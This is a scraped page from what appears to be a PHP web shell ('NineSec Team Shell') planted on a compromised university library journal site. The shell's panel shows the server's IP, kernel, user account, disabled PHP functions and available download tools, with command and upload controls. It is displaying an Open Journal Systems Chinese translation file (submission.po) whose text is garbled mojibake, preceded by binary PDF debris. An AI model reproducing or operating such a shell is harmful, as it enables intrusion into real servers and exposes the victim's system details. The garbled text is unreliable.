%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàÑ77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛÕŸ‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.217.64
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/zh_CN/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/zh_CN/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-29 11:53+0000\n"
"Last-Translator: Yukari Chiba <Charles@nia.ac.cn>\n"
"Language-Team: Chinese (Simplified) <http://translate.pkp.sfu.ca/projects/"
"ojs/submission/zh_CN/>\n"
"Language: zh_CN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "æäº¤ç¨¿ä»¶"

msgid "submission.title.tip"
msgstr ""
"稿件类型通常会是“图åƒâ€ã€â€œæ–‡æœ¬â€æˆ–è€…å…¶ä»–è¯¸å¦‚â€œè½¯ä»¶â€æˆ–者“交互å¼è§†é¢‘â€ç­‰ã€‚请选择跟您的稿件最贴近的类型。更多类型å¯å‚考<a target=\""
"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type</a>"

msgid "submission.event.publicIdentifiers"
msgstr "稿件的公开标识符已更新。"

msgid "grid.action.issueEntry"
msgstr "查看稿件元数æ®"

msgid "submission.submit.whatNext.description"
msgstr "该期刊已收到您æäº¤çš„稿件通知,并且已通过电å­é‚®ä»¶å‘é€ç¡®è®¤ã€‚ 编辑审核完æäº¤çš„内容åŽï¼Œä»–们将与您è”系。"

msgid "submission.issueEntry"
msgstr "元数æ®"

msgid "submission.submit.noContext"
msgstr "找ä¸åˆ°æ­¤æŠ•稿的期刊。"

msgid "submission.abstract.wordCount.description"
msgstr "摘è¦ä¸å¾—超过 {$wordCount} 个字。"

msgid "grid.action.workflow"
msgstr "稿件工作æµ"

msgid "submission.submit.newSubmissionSingle"
msgstr "新稿件"

msgid "submission.submit.newSubmissionMultiple"
msgstr "开始一次新的æäº¤"

msgid "submission.title"
msgstr "文章标题"

msgid "submission.upload.selectComponent"
msgstr "选择文章组件"

msgid "submission.submit.userGroup"
msgstr "以下列角色æäº¤..."

msgid "publication.selectIssue"
msgstr "选择一个期次安排出版"

msgid "publication.assignToissue"
msgstr "分é…给期次"

msgid "publication.unscheduledIn"
msgstr "尚未计划将其å‘布在æŸä¸€æœŸä¸­ã€‚"

msgid "publication.scheduledIn"
msgstr "出版物已安排于第 <a href=\"{$issueUrl}\">{$issueName}</a> 期次。"

msgid "publication.publishedIn"
msgstr "å‘布在 <a href=\"{$issueUrl}\">{$issueName}</a>。"

msgid "publication.required.issue"
msgstr "在å‘布之å‰ï¼Œå¿…须先将该文章分é…一个期次。"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr "已满足所有å‘å¸ƒè¦æ±‚。由于å‘布日期已设置为{$ datePublished}。您确定è¦å‘布å—?"

msgid "publication.publish.confirmation.backIssue"
msgstr "已满足所有å‘å¸ƒè¦æ±‚。这将å‘布在{$ issue}中。您确定è¦å‘布å—?"

msgid "publication.publish.confirmation.futureIssue"
msgstr "已满足所有å‘å¸ƒè¦æ±‚。这将在{$ issue}å‘布时å‘布。您确定è¦å®‰æŽ’å‘布å—?"

msgid "publication.publish.confirmation"
msgstr "已满足所有å‘å¸ƒè¦æ±‚。您确定è¦å‘布å—?"

msgid "publication.issue.success"
msgstr "出版物的期次细节已更新。"

msgid "publication.invalidIssue"
msgstr "未å‘现出版物的期次。"

msgid "publication.invalidSection"
msgstr "未å‘现出版物的æ ç›®ã€‚"

msgid "publication.datePublished.description"
msgstr "出版日期会在期刊å‘è¡Œæ—¶è‡ªåŠ¨è®¾å®šã€‚é™¤éžæ–‡ç« ä»¥å‰å‘表过或者在åšå›žæº¯æ•°æ®ï¼Œå¦åˆ™ä¸è¦äººä¸ºè®¾å®šã€‚"

msgid "galley.publicationNotFound"
msgstr "未å‘现此校样的正æ°å‡ºç‰ˆç‰©ã€‚"

msgid "galley.editPublishedDisabled"
msgstr "此出版物已出版,所以校样已ç»ä¸èƒ½ç¼–辑。"

msgid "catalog.category.heading"
msgstr "所有项"

msgid "catalog.browseTitles"
msgstr "{$numTitles} 项"

msgid "submission.sectionOptions"
msgstr "æ ç›®é€‰é¡¹"

msgid "section.any"
msgstr "ä»»æ„æ ç›®"

msgid "submission.metadataDescription"
msgstr "è¿™äº›è§„èŒƒåŸºäºŽéƒ½æŸæž—核心元数æ®é›†ï¼ˆä¸€ç§ç”¨äºŽæè¿°æœŸåˆŠå†…容的国际标准)。"

msgid "submission.citationFormat.notFound"
msgstr "è¯·æ±‚çš„å¼•ç”¨æ ¼å¼æ— æ³•进行检索。"

msgid "submission.submit.form.contributorRoleRequired"
msgstr "选择åˆä½œè€…的角色。"

msgid "submission.submit.form.wordCountAlert"
msgstr "您的摘è¦å¤ªé•¿äº†ã€‚è¯·æŒ‰ç…§è¦æ±‚作必è¦åˆ å‡ã€‚"

msgid "submission.submit.form.abstractRequired"
msgstr "请填写文章摘è¦ã€‚"

msgid "submission.submit.form.titleRequired"
msgstr "请填写文章题目。"

msgid "submission.submit.form.authorRequiredFields"
msgstr "作者的åå­—ã€å§“æ°ã€ç”µå­é‚®ä»¶åœ°å€å¿…填。"

msgid "submission.submit.form.authorRequired"
msgstr "è‡³å°‘è¦æœ‰ä¸€ä½ä½œè€…。"

msgid "submission.submit.contributorRole"
msgstr "åˆä½œè€…"

msgid "submission.submit.privacyStatement"
msgstr "éšç§å£°æ˜Ž"

msgid "submission.submit.submissionChecklistDescription"
msgstr "你在继续æ“作å‰å·²ç»é˜…读并且ç†è§£äº†ä¸‹é¢çš„è¦æ±‚。"

msgid "submission.submit.submissionChecklist"
msgstr "稿件清å•"

msgid "submission.submit.form.localeRequired"
msgstr "选择稿件语言。"

msgid "submission.incomplete"
msgstr "等待批å¤ä¸­"

msgid "submission.complete"
msgstr "已批准"

msgid "submission.upload.fileContents"
msgstr "文章组æˆ"

msgid "submission.event.issueMetadataUpdated"
msgstr "稿件的期刊元数æ®å·²æ›´æ–°ã€‚"

msgid "editor.submission.decision.sendExternalReview"
msgstr "é€å®¡"

msgid "workflow.review.externalReview"
msgstr "审核"

msgid "submission.confirmSubmit"
msgstr "ç¡®è®¤è¦æäº¤æ­¤æ–‡ç« å—?"

msgid "submission.pageProofs"
msgstr "校对"

msgid "submission.submit.upload.description"
msgstr "上传跟稿件相关的文件,包括文章原文ã€å¤šåª’ä½“ã€æ•°æ®é›†ã€è‰ºæœ¯æ’图等等。"

msgid "submission.submit.titleAndSummary"
msgstr "标题和摘è¦"

msgid "grid.action.pageProofApproved"
msgstr "此校样文件已批准。"

msgid "grid.action.approveProof"
msgstr "批准此用于校样的文件。"

msgid "submission.proofReadingDescription"
msgstr ""
"美工编辑上传了准备å‘布时用的校样文件。请通过<em>分é…任务</em>æé†’作者和其他人对校样进行最åŽå®¡æ ¸æ ¡å¯¹ï¼Œå¦‚有修改,清在å‘布之å‰ä¸Šä¼ æ›´æ­£çš„æ–‡ä»¶ã€‚"

msgid "submission.galleyFiles"
msgstr "校样文件"

msgid "grid.action.availableArticleGalley"
msgstr "å¯ç”¨æ­¤æ ¡æ ·"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>此校样读者 <em>å¯ç”¨</em>。</p>"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>此校样对读者 <em>ä¸å¯ç”¨e</em>。</p>"

msgid "grid.issueEntry.availableGalley.title"
msgstr "æ ¼å¼åˆæ ¼"

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "稿件文章 \"{$galleyFormatName}\" 校样未生æˆã€‚"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "稿件文章 \"{$galleyFormatName}\" 校样生æˆã€‚"

msgid "grid.action.galleyInIssueEntry"
msgstr "当期文章校样"

msgid "submission.submit.userGroupDescription"
msgstr "选择æäº¤ç¨¿ä»¶çš„身份。"

msgid "submission.copyrightHolder.description"
msgstr "版æƒå°†åœ¨å‘布åŽè‡ªåŠ¨åˆ†é…ç»™{$copyright}。"

msgid "submission.license.description"
msgstr ""
"许å¯è¯åœ¨å‘布åŽå°†è¢«è‡ªåŠ¨è®¾ç½®ä¸º <a href='{$licenseUrl}' target='_blank'>{$licenseName}</a>。"

msgid "publication.required.reviewStage"
msgstr "æäº¤å¿…须处于审稿或生产阶段æ‰èƒ½å‘布。"

msgid "publication.required.declined"
msgstr "被拒ç»çš„æäº¤æ— æ³•被å‘布。"

msgid "publication.publish.requirements"
msgstr "在å‘布之å‰ï¼Œå¿…é¡»æ»¡è¶³ä»¥ä¸‹è¦æ±‚。"

msgid "publication.publish"
msgstr "å‘布"

msgid "publication.invalidSubmission"
msgstr "找ä¸åˆ°æ­¤å‡ºç‰ˆçš„æäº¤ã€‚"

msgid "publication.event.versionUnpublished"
msgstr "版本已从å‘布中删除。"

msgid "publication.event.versionScheduled"
msgstr "新的版本已被计划å‘布。"

msgid "publication.event.versionPublished"
msgstr "新的版本被å‘布。"

msgid "publication.event.unpublished"
msgstr "æäº¤å°šæœªè¢«å‘布。"

msgid "publication.event.scheduled"
msgstr "æäº¤å·²è¢«è®¡åˆ’å‘布。"

msgid "publication.event.published"
msgstr "该æäº¤å·²å‘布。"

msgid "publication.editDisabled"
msgstr "此版本已å‘布,无法编辑。"

msgid "publication.datePublished"
msgstr "å‘布日期"

msgid "publication.copyrightYearBasis.submissionDescription"
msgstr "版æƒå¹´ä»½å°†æ ¹æ®å‘布日期自动设置。"

msgid "publication.copyrightYearBasis.issueDescription"
msgstr "在æŸä¸ªåˆŠæœŸå‘布åŽï¼Œå®ƒçš„版æƒå¹´ä»½å°†è¢«è‡ªåŠ¨è®¾ç½®ã€‚"

msgid "submission.publications"
msgstr "出版物"

msgid "publication.status.unscheduled"
msgstr "未计划"

msgid "submission.status.scheduled"
msgstr "已计划"

msgid "publication.status.published"
msgstr "已出版"

msgid "submission.publication"
msgstr "å‘布"

msgid "publication.inactiveSection"
msgstr "{$section}(䏿´»è·ƒ)"

msgid "submission.viewingPreview"
msgstr "这仅是预览,并没有被å‘布。<a href=\"{$url}\">查看æäº¤</a>"

NineSec Team - 2022